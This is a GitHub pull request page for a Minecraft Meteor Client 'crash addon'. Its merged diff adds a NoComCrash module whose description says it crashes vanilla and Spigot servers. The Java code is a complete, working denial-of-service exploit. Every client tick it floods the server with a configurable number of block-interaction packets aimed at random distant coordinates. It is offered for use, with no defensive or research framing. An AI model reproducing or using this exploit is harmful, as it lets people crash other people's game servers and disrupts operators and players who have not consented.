Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

added nocom crash :D #3

Merged
merged 5 commits into from
Apr 6, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/main/java/widecat/meteorcrashaddon/CrashAddon.java
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@ public void onInitialize() {
Modules.get().add(new PacketSpammer());
Modules.get().add(new SignCrash());
Modules.get().add(new TryUseCrash());
Modules.get().add(new NoComCrash());
}

@Override
Expand Down
47 changes: 47 additions & 0 deletions src/main/java/widecat/meteorcrashaddon/modules/NoComCrash.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
package widecat.meteorcrashaddon.modules;

import widecat.meteorcrashaddon.CrashAddon;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.SettingGroup;
import meteordevelopment.meteorclient.settings.*;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
import net.minecraft.util.Hand;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.math.Vec3d;
import java.util.Objects;
import java.util.Random;

public class NoComCrash extends Module {
private final Random r = new Random();

private final SettingGroup sgGeneral = settings.getDefaultGroup();
private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
C10udburst marked this conversation as resolved.
Show resolved Hide resolved
.name("amount")
.description("How many packets to send to the server per tick.")
.defaultValue(15)
.min(1)
.sliderMax(100)
.build()
);

public NoComCrash() {
super(CrashAddon.CATEGORY, "NoCom-crash", "Crashes vanilla and Spigot servers");
}

private Vec3d pickRandomPos() {
return new Vec3d(r.nextInt(0xFFFFFF), 255, r.nextInt(0xFFFFFF));
}

@EventHandler
private void onTick(TickEvent.Post event) {
for (int i = 0; i < amount.get(); i++) {
Vec3d cpos = pickRandomPos();
PlayerInteractBlockC2SPacket PACKET = new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(cpos, Direction.DOWN, new BlockPos(cpos), false));
Objects.requireNonNull(mc.getNetworkHandler()).sendPacket(PACKET);
}
}
}